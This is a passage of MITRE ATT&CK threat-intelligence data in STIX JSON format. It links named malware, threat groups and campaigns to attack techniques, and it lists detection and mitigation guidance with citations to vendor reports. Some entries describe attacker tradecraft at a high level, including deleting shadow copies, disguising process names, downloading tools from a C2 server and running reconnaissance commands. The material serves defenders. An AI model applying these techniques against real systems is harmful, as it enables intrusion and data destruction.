2018)","modified":"2022-08-02T17:12:10.799Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--da04ac30-27da-4959-a67d-450ce47d9470","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2f406d0e-d78c-455b-8c4b-c093fa5b5bda","type":"relationship","created":"2022-03-30T14:26:51.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.851Z","description":"Monitor for contextual file data that may show signs of deletion or alter generated artifacts on a host system, including logs or captured files such as quarantined malware.","source_ref":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2f409bb6-2dc3-4e4b-901b-b177d4d03fd6","created":"2024-02-14T19:01:13.319Z","revoked":false,"external_references":[{"source_name":"Mandiant Advanced Persistent Threats","description":"Mandiant. (n.d.). Advanced Persistent Threats (APTs). Retrieved February 14, 2024.","url":"https://www.mandiant.com/resources/insights/apt-groups"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-14T19:01:13.319Z","description":"(Citation: Mandiant Advanced Persistent Threats)","relationship_type":"uses","source_ref":"intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9","target_ref":"malware--b42378e0-f147-496f-992a-26a49705395b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2f4684b2-728f-46c5-9c91-98731c935b28","type":"relationship","created":"2021-09-28T18:53:02.460Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Ferocious Kitten Jun 2021","url":"https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/","description":"GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021."}],"modified":"2021-10-15T15:03:46.311Z","description":"[MarkiRAT](https://attack.mitre.org/software/S0652) can download additional files and tools from its C2 server, including through the use of [BITSAdmin](https://attack.mitre.org/software/S0190).(Citation: Kaspersky Ferocious Kitten Jun 2021)","relationship_type":"uses","source_ref":"malware--532c6004-b1e8-415b-9516-f7c14ba783b1","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2f47b6cb-a378-492d-9565-e9ebbca68908","type":"relationship","created":"2020-03-02T21:04:24.530Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Meintanis, S., Revuelto, V., Socha, K.. (2017, March 10). DDoS Overview and Response Guide. Retrieved April 24, 2019.","url":"http://cert.europa.eu/static/WhitePapers/CERT-EU_Security_Whitepaper_DDoS_17-003.pdf","source_name":"CERT-EU DDoS March 2017"}],"modified":"2022-03-25T20:05:39.115Z","description":"When flood volumes exceed the capacity of the network connection being targeted, it is typically necessary to intercept the incoming traffic upstream to filter out the attack traffic from the legitimate traffic. Such defenses can be provided by the hosting Internet Service Provider (ISP) or by a 3rd party such as a Content Delivery Network (CDN) or providers specializing in DoS mitigations.(Citation: CERT-EU DDoS March 2017)\n\nDepending on flood volume, on-premises filtering may be possible by blocking source addresses sourcing the attack, blocking ports that are being targeted, or blocking protocols being used for transport.(Citation: CERT-EU DDoS March 2017)\n\nAs immediate response may require rapid engagement of 3rd parties, analyze the risk associated to critical resources being affected by Network DoS attacks and create a disaster recovery plan/business continuity plan to respond to incidents.(Citation: CERT-EU DDoS March 2017)","relationship_type":"mitigates","source_ref":"course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d","target_ref":"attack-pattern--36b2a1d7-e09e-49bf-b45e-477076c2ec01","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2f4b8e65-7047-4e1e-bc88-18500a860e19","created":"2024-01-02T13:43:56.544Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-02T13:43:56.544Z","description":"Limit permissions to modify conditional access policies to only those required.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--ceaeb6d8-95ee-4da2-9d42-dc6aa6ca43ae","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2f4d2f2e-78a9-46e6-bb2f-5b1be932da42","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Umbreon Trend Micro","description":"Fernando Mercês. (2016, September 5). Pokémon-themed Umbreon Linux Rootkit Hits x86, ARM Systems. Retrieved March 5, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/pokemon-themed-umbreon-linux-rootkit-hits-x86-arm-systems/?_ga=2.180041126.367598458.1505420282-1759340220.1502477046"}],"modified":"2020-03-19T21:54:36.121Z","description":"[Umbreon](https://attack.mitre.org/software/S0221) provides access using both standard facilities like SSH and additional access using its backdoor Espeon, providing a reverse shell upon receipt of a special packet(Citation: Umbreon Trend Micro)","relationship_type":"uses","source_ref":"malware--3d8e547d-9456-4f32-a895-dc86134e282f","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2f507d82-1df4-4c9c-804a-2e6060944142","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Daserf Nov 2017","description":"Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER’s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.","url":"http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/"}],"modified":"2020-03-16T16:40:40.480Z","description":"A version of [Daserf](https://attack.mitre.org/software/S0187) uses the MPRESS packer.(Citation: Trend Micro Daserf Nov 2017)","relationship_type":"uses","source_ref":"malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2f50eea4-aec7-4925-a8c6-2d0c6a4f481f","created":"2022-10-10T19:42:15.342Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-10T19:42:15.342Z","description":"[ccf32](https://attack.mitre.org/software/S1043) has used `cmd.exe` for archiving data and deleting files.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"malware--a394448a-4576-41b8-81cc-9b61abad94ab","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2f52b718-77f8-4931-8a0d-49b4ebba05de","type":"relationship","created":"2022-03-30T14:26:51.834Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.834Z","description":"Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process.","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2f5583d9-e0bf-4d76-ad74-6d9bd3efa69c","type":"relationship","created":"2019-07-29T14:58:44.949Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Lee, S. (2019, May 17). CB TAU Threat Intelligence Notification: RobbinHood Ransomware Stops 181 Windows Services Before Encryption. Retrieved July 29, 2019.","url":"https://www.carbonblack.com/2019/05/17/cb-tau-threat-intelligence-notification-robbinhood-ransomware-stops-181-windows-services-before-encryption/","source_name":"CarbonBlack RobbinHood May 2019"}],"modified":"2019-07-29T15:46:15.090Z","description":"[RobbinHood](https://attack.mitre.org/software/S0400) deletes shadow copies to ensure that all the data cannot be restored easily.(Citation: CarbonBlack RobbinHood May 2019) ","relationship_type":"uses","source_ref":"malware--0a607c53-df52-45da-a75d-0e53df4dad5f","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2f5d9a23-5360-479c-b6dc-f9827bb6b353","created":"2021-09-29T15:41:18.385Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro New Andariel Tactics July 2018","description":"Chen, Joseph. (2018, July 16). New Andariel Reconnaissance Tactics Uncovered. Retrieved September 29, 2021.","url":"https://www.trendmicro.com/en_us/research/18/g/new-andariel-reconnaissance-tactics-hint-at-next-targets.html"},{"source_name":"FSI Andariel Campaign Rifle July 2017","description":"FSI. (2017, July 27). Campaign Rifle - Andariel, the Maiden of Anguish. Retrieved September 12, 2024.","url":"https://fsiceat.tistory.com/2"},{"source_name":"IssueMakersLab Andariel GoldenAxe May 2017","description":"IssueMakersLab. (2017, May 1). Operation GoldenAxe. Retrieved September 12, 2024.","url":"http://www.issuemakerslab.com/research3/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T17:26:49.402Z","description":"[Andariel](https://attack.mitre.org/groups/G0138) has exploited numerous ActiveX vulnerabilities, including zero-days.(Citation: FSI Andariel Campaign Rifle July 2017)(Citation: IssueMakersLab Andariel GoldenAxe May 2017)(Citation: TrendMicro New Andariel Tactics July 2018)","relationship_type":"uses","source_ref":"intrusion-set--39d6890e-7f23-4474-b8ef-e7b0343c5fc8","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2f5dca6b-3cd3-4b2a-b097-7eddd80bc366","created":"2023-03-13T20:31:47.926Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Check Point Black Basta October 2022","description":"Check Point. (2022, October 20). BLACK BASTA AND THE UNNOTICED DELIVERY. Retrieved March 8, 2023.","url":"https://research.checkpoint.com/2022/black-basta-and-the-unnoticed-delivery/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-14T00:07:39.389Z","description":"[Black Basta](https://attack.mitre.org/software/S1070) can make a random number of calls to the `kernel32.beep` function to hinder log analysis.(Citation: Check Point Black Basta October 2022)","relationship_type":"uses","source_ref":"malware--8d242fb4-9033-4f13-8a88-4b9b4bcd9a53","target_ref":"attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2f5dca6f-7a62-4933-a003-16dbb6d234cb","created":"2021-07-16T18:27:25.033Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Group IB GrimAgent July 2021","description":"Priego, A. (2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved September 19, 2024.","url":"https://www.group-ib.com/blog/grimagent/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-19T14:32:39.428Z","description":"(Citation: Group IB GrimAgent July 2021)","relationship_type":"uses","source_ref":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","target_ref":"malware--c9b99d03-ff11-4a48-95f0-82660d582c25","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2f5f2d31-739e-4dc5-b137-840401985244","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Remsec IOCs","description":"Symantec Security Response. (2016, August 8). Backdoor.Remsec indicators of compromise. Retrieved August 17, 2016.","url":"http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf"},{"source_name":"Kaspersky ProjectSauron Technical Analysis","description":"Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.","url":"https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf"}],"modified":"2020-03-16T17:39:57.075Z","description":"[Remsec](https://attack.mitre.org/software/S0125) contains a keylogger component.(Citation: Symantec Remsec IOCs)(Citation: Kaspersky ProjectSauron Technical Analysis)","relationship_type":"uses","source_ref":"malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2f603550-4368-4f34-89d9-50f69eed2fa9","type":"relationship","created":"2021-12-02T16:02:23.116Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos TinyTurla September 2021","url":"https://blog.talosintelligence.com/2021/09/tinyturla.html","description":"Cisco Talos. (2021, September 21). TinyTurla - Turla deploys new malware to keep a secret backdoor on victim machines. Retrieved December 2, 2021."}],"modified":"2021-12-02T16:02:23.116Z","description":"[TinyTurla](https://attack.mitre.org/software/S0668) can set its configuration parameters in the Registry.(Citation: Talos TinyTurla September 2021)","relationship_type":"uses","source_ref":"malware--2a7c1bb7-cd12-456e-810d-ab3bf8457bab","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2f61aca0-55a8-46cb-aa37-a1789fc07c40","created":"2022-09-22T21:45:26.549Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason OperationCuckooBees May 2022","description":"Cybereason Nocturnus. (2022, May 4). Operation CuckooBees: Deep-Dive into Stealthy Winnti Techniques. Retrieved September 22, 2022.","url":"https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-06T20:38:31.462Z","description":"During [Operation CuckooBees](https://attack.mitre.org/campaigns/C0012), the threat actors used `ipconfig`, `nbtstat`, `tracert`, `route print`, and `cat /etc/hosts` commands.(Citation: Cybereason OperationCuckooBees May 2022)","relationship_type":"uses","source_ref":"campaign--93c23946-49af-41f4-ac03-40f9ffc7419b","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2f68f61d-07e1-4181-a26c-93433f9f0db7","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf","description":"ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.","source_name":"ClearSky Wilted Tulip July 2017"}],"modified":"2019-05-03T16:42:19.202Z","description":"[CopyKittens](https://attack.mitre.org/groups/G0052) has used PowerShell Empire.(Citation: ClearSky Wilted Tulip July 2017)","relationship_type":"uses","source_ref":"intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2f6ae8d7-29ee-4af6-9284-f698393ee1b7","type":"relationship","created":"2021-09-27T20:05:02.136Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Qakbot May 2020","url":"https://www.trendmicro.com/vinfo/ph/security/news/cybercrime-and-digital-threats/qakbot-resurges-spreads-through-vbs-files","description":"Mendoza, E. et al. (2020, May 25). Qakbot Resurges, Spreads through VBS Files. Retrieved September 27, 2021."},{"source_name":"Kaspersky QakBot September 2021","url":"https://securelist.com/qakbot-technical-analysis/103931/","description":"Kuzmenko, A. et al. (2021, September 2). QakBot technical analysis. Retrieved September 27, 2021."}],"modified":"2021-09-30T14:06:29.734Z","description":"[QakBot](https://attack.mitre.org/software/S0650) can use net share to identify network shares for use in lateral movement.(Citation: Trend Micro Qakbot May 2020)(Citation: Kaspersky QakBot September 2021)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2f6db008-885e-4fdf-b5f5-97132c9e96b1","created":"2024-09-23T20:23:12.469Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Sandfly BPFDoor 2022","description":"The Sandfly Security Team. (2022, May 11). BPFDoor - An Evasive Linux Backdoor Technical Analysis. Retrieved September 29, 2023.","url":"https://sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T21:38:02.342Z","description":"[BPFDoor](https://attack.mitre.org/software/S1161) overwrites the `argv[0]` value used by the Linux `/proc` filesystem to determine the command line and command name to display for each process. [BPFDoor](https://attack.mitre.org/software/S1161) selects a name from 10 hardcoded names that resemble Linux system daemons, such as; `/sbin/udevd -d`, `dbus-daemon --system`, `avahi-daemon: chroot helper`, `/sbin/auditd -n`, and `/usr/lib/systemd/systemd-journald`.(Citation: Sandfly BPFDoor 2022)","relationship_type":"uses","source_ref":"malware--8d1f89fd-4dde-40ab-80e0-a7b80249162e","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--2f7250d7-6a05-4786-baf0-9044dcbd2937","created":"2022-03-30T14:26:51.845Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"If infrastructure or patterns in the malicious web content utilized to deliver a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) have been previously identified, internet scanning may uncover when an adversary has staged web content for use in a strategic web compromise.\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).","modified":"2022-04-20T02:21:21.552Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e","target_ref":"attack-pattern--31fe0ba2-62fd-4fd9-9293-4043d84f7fe9","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2f785f1f-04f8-42f0-8082-a03fed3c3a94","created":"2023-07-12T20:16:07.924Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Crowdstrike TELCO BPO Campaign December 2022","description":"Parisi, T. (2022, December 2). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. Retrieved June 30, 2023.","url":"https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-22T20:02:16.483Z","description":"During [C0027](https://attack.mitre.org/campaigns/C0027), [Scattered Spider](https://attack.mitre.org/groups/G1015) downloaded tools using victim organization systems.(Citation: Crowdstrike TELCO BPO Campaign December 2022)","relationship_type":"uses","source_ref":"campaign--df74f7ad-b10d-431c-9f1d-a2bc18dadefa","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2f8394e6-2cf2-473a-b60a-6de2e69c39c8","created":"2022-10-04T21:07:49.639Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant UNC3890 Aug 2022","description":"Mandiant Israel Research Team. (2022, August 17). Suspected Iranian Actor Targeting Israeli Shipping, Healthcare, Government and Energy Sectors. Retrieved September 21, 2022.","url":"https://www.mandiant.com/resources/blog/suspected-iranian-actor-targeting-israeli-shipping"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-04T21:15:34.955Z","description":"[SUGARDUMP](https://attack.mitre.org/software/S1042) can identify Chrome, Opera, Edge Chromium, and Firefox browsers, including version number, on a compromised host.(Citation: Mandiant UNC3890 Aug 2022)","relationship_type":"uses","source_ref":"malware--9c10cede-c0bb-4c5c-91c0-8baec30abaf6","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--2f8630a6-056d-4991-a664-274b532cb5cc","created":"2022-03-30T14:26:51.855Z","x_mitre_version":"0.1","external_references":[{"source_name":"Open Login Items Apple","url":"https://support.apple.com/guide/mac-help/open-items-automatically-when-you-log-in-mh15189/mac","description":"Apple. (n.d.). Open items automatically when you log in on Mac. Retrieved October 1, 2021."},{"source_name":"Startup Items Eclectic","url":"https://eclecticlight.co/2021/09/16/how-to-run-an-app-or-tool-at-startup/","description":"hoakley. (2021, September 16). How to run an app or tool at startup. Retrieved October 5, 2021."},{"source_name":"objsee block blocking login items","url":"https://objective-see.com/blog/blog_0x31.html","description":"Patrick Wardle. (2018, July 23). Block Blocking Login Items. Retrieved October 1, 2021."},{"source_name":"sentinelone macos persist Jun 2019","url":"https://www.sentinelone.com/blog/how-malware-persists-on-macos/","description":"Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"All login items created via shared file lists are viewable by using the System Preferences GUI or in the ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm file.(Citation: Open Login Items Apple)(Citation: Startup Items Eclectic)(Citation: objsee block blocking login items)(Citation: sentinelone macos persist Jun 2019) These locations should be monitored and audited.","modified":"2022-04-20T18:38:33.661Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--84601337-6a55-4ad7-9c35-79e0d1ea2ab3","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2f884873-308c-4bee-94bd-90bb2267fea7","type":"relationship","created":"2019-01-29T20:05:36.450Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"PaloAlto NanoCore Feb 2016","url":"https://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/","description":"Kasza, A., Halfpop, T. (2016, February 09). NanoCoreRAT Behind an Increase in Tax-Themed Phishing E-mails. Retrieved November 9, 2018."}],"modified":"2019-04-17T20:47:23.977Z","description":"[NanoCore](https://attack.mitre.org/software/S0336)’s plugins were obfuscated with Eazfuscater.NET 3.3.(Citation: PaloAlto NanoCore Feb 2016)","relationship_type":"uses","source_ref":"malware--b4d80f8b-d2b9-4448-8844-4bef777ed676","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2f8b5f21-4145-45a9-aec5-04ef9d99e2e7","type":"relationship","created":"2022-03-30T14:26:51.860Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.860Z","description":"Monitor for newly constructed processes and/or command-lines that may abuse mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of PowerShell/Rundll32 to be 